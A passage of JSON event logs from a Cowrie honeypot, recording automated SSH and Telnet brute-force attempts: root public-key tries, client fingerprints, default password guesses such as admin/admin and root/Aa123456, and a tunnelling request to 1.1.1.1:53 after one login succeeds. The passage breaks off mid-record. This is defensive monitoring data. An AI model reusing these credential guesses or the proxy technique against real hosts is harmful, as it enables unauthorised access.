{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:23:c6:43:fd:32:b1:b9:35:6f:ef:b8:2b:4f:17:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQP4RfxCQI+qza77WqqCFyJ2giRtM0yODGYHQTqsC2RPbsOD3RNGSWyL6cv01ZTO0NZrGW7+/ue+GgvFWYkkojygfWadJdfjZHFcf7IR84PehvHZ/NHhZo71kv+r5bNe0E9JoFRFrQQpVD3eFSkZ1g20GLNr+99IJQEKc5FsGolcqr4lueuvYUIrcPwEQwEoseasMM/zmWD+sP1so35uldQjAB+Z2M0/HH3vBH1hzyHPMwUq5Guv5bjQovnAbt8BLqhS1VvD0rYGQO2H49DOLnwy56FuRBZV3XYUYXvaPlRF3C1aKADKEZZDbT/XFHJDuXjmKOzBWr0CJLLYjDFPML","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.258759Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:64:26:e5:e9:57:38:03:e5:a6:c2:a9:18:3c:e4:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHevtUyHY2mLMmA04O2Ixkk4Supbdg0KPOjPIFQxvL0jC8de0hJfZv5YRhz93HVljCHBXJSXIMIPD84XEP+/Vc11dP5sD+s1VZELN9F9C3KX5SoZ1miD0hgg2pXWp8jH7QIQG7FrAnPRS0CeRNUgFdnMxvNcYRrXhrkPUZilSfkXJ/JAzcA531WggR9fWObHRy4QFRKlzkk59LyoQ2Yr+UVZtqu8NfOA+PXHK9CtrNcnBjzl6Ug0kg8/kWnAg2QV/RwPVAGw0rdqPnD2ctj4gkXlVbkfYLmv6UtkO8F50amHV+WpPl/o6Oh18KSP2tbTQVN5WvdUEb3+vZlvLnrFMh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:64:26:e5:e9:57:38:03:e5:a6:c2:a9:18:3c:e4:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.304546Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:64:26:e5:e9:57:38:03:e5:a6:c2:a9:18:3c:e4:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHevtUyHY2mLMmA04O2Ixkk4Supbdg0KPOjPIFQxvL0jC8de0hJfZv5YRhz93HVljCHBXJSXIMIPD84XEP+/Vc11dP5sD+s1VZELN9F9C3KX5SoZ1miD0hgg2pXWp8jH7QIQG7FrAnPRS0CeRNUgFdnMxvNcYRrXhrkPUZilSfkXJ/JAzcA531WggR9fWObHRy4QFRKlzkk59LyoQ2Yr+UVZtqu8NfOA+PXHK9CtrNcnBjzl6Ug0kg8/kWnAg2QV/RwPVAGw0rdqPnD2ctj4gkXlVbkfYLmv6UtkO8F50amHV+WpPl/o6Oh18KSP2tbTQVN5WvdUEb3+vZlvLnrFMh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.308483Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:48:f9:db:02:6d:b8:6a:47:a7:24:39:cc:c3:2d:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm7LDJI+Vx9sc/DtroD25/VBE0qgbAp8GG5BGemaGOifOMfQbjt4trLrjEHusl2qdbG770jf7GZ7OglH6Vrs65ohMCxV6n7rnAXCtJpuV4D99kpm5pV2493K5ooppUKmx1Vn1wc9ICjRH0ZcZ8+y0u4noDcY5Gr4U5FnlRr1mX9ZlNBxoV+Hxt4Ilp0OlvqzhnVvpt+dokwp+SMnvQ9ylqmyIyjpiLtpotmXOIVi1/fjf2YxjzIm6maSmaRE1uQB5Vzd+mCbPOxAQbwFNYa9H5vFDsGwiltqn2aobRA8QAlxu9b+6yQLqqdb3+txW5r/RvcVq1AR5NN+PKpE5jgWDN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:48:f9:db:02:6d:b8:6a:47:a7:24:39:cc:c3:2d:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.356128Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:48:f9:db:02:6d:b8:6a:47:a7:24:39:cc:c3:2d:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm7LDJI+Vx9sc/DtroD25/VBE0qgbAp8GG5BGemaGOifOMfQbjt4trLrjEHusl2qdbG770jf7GZ7OglH6Vrs65ohMCxV6n7rnAXCtJpuV4D99kpm5pV2493K5ooppUKmx1Vn1wc9ICjRH0ZcZ8+y0u4noDcY5Gr4U5FnlRr1mX9ZlNBxoV+Hxt4Ilp0OlvqzhnVvpt+dokwp+SMnvQ9ylqmyIyjpiLtpotmXOIVi1/fjf2YxjzIm6maSmaRE1uQB5Vzd+mCbPOxAQbwFNYa9H5vFDsGwiltqn2aobRA8QAlxu9b+6yQLqqdb3+txW5r/RvcVq1AR5NN+PKpE5jgWDN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.359875Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:50:7e:71:e1:3b:69:0d:f5:1a:60:d5:2a:b5:29:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0GwyYfUWc1AMzPOJahtgA1gSJiL5dTRaKCwzh+0a9tmNKNS4KixkSDT6SFqYG4+UYTPcHHJ/pntvZngHFR63CrY1hezKyXMwm7UdrxRFSD4g7WydhOVZ4ef6vsI6VAPw2SJmKbe8eDVqomXGUWOsDiiS3nVzLgp+6rs9lkrDdLX6GQzr5g+kRT8IuNbEUV74lnNRUgZ8nWkfrvHM0hJq+7LnuqDKQBE4fVFmJ/V+YzEZ3sToMgxAtr0qFzwkB22yeu0toAvj0jl8Gl9UJmlw1r7KKx3T/S0YKFfBLoudYtnqH5xZSm2dYMBGg3qki7Uvtx4pxuzcZBccnKcduzXZcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:50:7e:71:e1:3b:69:0d:f5:1a:60:d5:2a:b5:29:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.405915Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:50:7e:71:e1:3b:69:0d:f5:1a:60:d5:2a:b5:29:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0GwyYfUWc1AMzPOJahtgA1gSJiL5dTRaKCwzh+0a9tmNKNS4KixkSDT6SFqYG4+UYTPcHHJ/pntvZngHFR63CrY1hezKyXMwm7UdrxRFSD4g7WydhOVZ4ef6vsI6VAPw2SJmKbe8eDVqomXGUWOsDiiS3nVzLgp+6rs9lkrDdLX6GQzr5g+kRT8IuNbEUV74lnNRUgZ8nWkfrvHM0hJq+7LnuqDKQBE4fVFmJ/V+YzEZ3sToMgxAtr0qFzwkB22yeu0toAvj0jl8Gl9UJmlw1r7KKx3T/S0YKFfBLoudYtnqH5xZSm2dYMBGg3qki7Uvtx4pxuzcZBccnKcduzXZcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.410121Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.456957Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":58564,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c2fb88d09cc","protocol":"ssh","message":"New connection: 122.168.194.41:58564 (159.203.135.109:22) [session: 5c2fb88d09cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:28.012471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:28.017546Z","src_ip":"122.168.194.41","session":"5c2fb88d09cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42622,"dst_ip":"159.203.135.109","dst_port":23,"session":"16a46f93ba21","protocol":"telnet","message":"New connection: 128.199.8.54:42622 (159.203.135.109:23) [session: 16a46f93ba21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:28.055466Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:28.295213Z","src_ip":"122.168.194.41","session":"5c2fb88d09cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:29.441544Z","src_ip":"122.168.194.41","session":"5c2fb88d09cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:30.725003Z","src_ip":"122.168.194.41","session":"5c2fb88d09cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.901379346847534,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:32.106168Z","src_ip":"128.199.8.54","session":"bc8e07d17a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50816,"dst_ip":"10.17.0.5","dst_port":22,"session":"72e9039a4094","protocol":"ssh","message":"New connection: 87.251.64.176:50816 (10.17.0.5:22) [session: 72e9039a4094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:39.515123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:39.524586Z","src_ip":"87.251.64.176","session":"72e9039a4094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:39.620788Z","src_ip":"87.251.64.176","session":"72e9039a4094","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:39.911158Z","src_ip":"87.251.64.176","session":"72e9039a4094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:40.011373Z","session":"72e9039a4094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:40.109640Z","src_ip":"87.251.64.176","session":"72e9039a4094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:40.209572Z","src_ip":"87.251.64.176","session":"72e9039a4094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.41020894050598,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:01.465572Z","src_ip":"128.199.8.54","session":"16a46f93ba21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42524,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc5c43ebf66d","protocol":"ssh","message":"New connection: 103.15.226.202:42524 (10.17.0.5:22) [session: fc5c43ebf66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:14.241786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:14.245748Z","src_ip":"103.15.226.202","session":"fc5c43ebf66d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:14.497584Z","src_ip":"103.15.226.202","session":"fc5c43ebf66d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:15.231331Z","src_ip":"103.15.226.202","session":"fc5c43ebf66d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51980,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ac3a19e6413","protocol":"telnet","message":"New connection: 128.199.8.54:51980 (159.203.135.109:23) [session: 5ac3a19e6413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:15.382383Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:16.489900Z","src_ip":"103.15.226.202","session":"fc5c43ebf66d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":50452,"dst_ip":"159.203.135.109","dst_port":22,"session":"08cafbcf5bf5","protocol":"ssh","message":"New connection: 122.168.194.41:50452 (159.203.135.109:22) [session: 08cafbcf5bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:29.220826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:29.225312Z","src_ip":"122.168.194.41","session":"08cafbcf5bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:29.491984Z","src_ip":"122.168.194.41","session":"08cafbcf5bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloudtest","message":"login attempt [root/cloudtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:30.592316Z","src_ip":"122.168.194.41","session":"08cafbcf5bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:31.861147Z","src_ip":"122.168.194.41","session":"08cafbcf5bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33330,"dst_ip":"159.203.135.109","dst_port":23,"session":"54f0ab56928f","protocol":"telnet","message":"New connection: 128.199.8.54:33330 (159.203.135.109:23) [session: 54f0ab56928f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:37.736738Z"}
{"eventid":"cowrie.session.closed","duration":33.62084126472473,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:49.003097Z","src_ip":"128.199.8.54","session":"5ac3a19e6413","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.243.133.118","src_port":33814,"dst_ip":"10.17.0.5","dst_port":22,"session":"445318809f9b","protocol":"ssh","message":"New connection: 136.243.133.118:33814 (10.17.0.5:22) [session: 445318809f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:50.444799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:50.452017Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 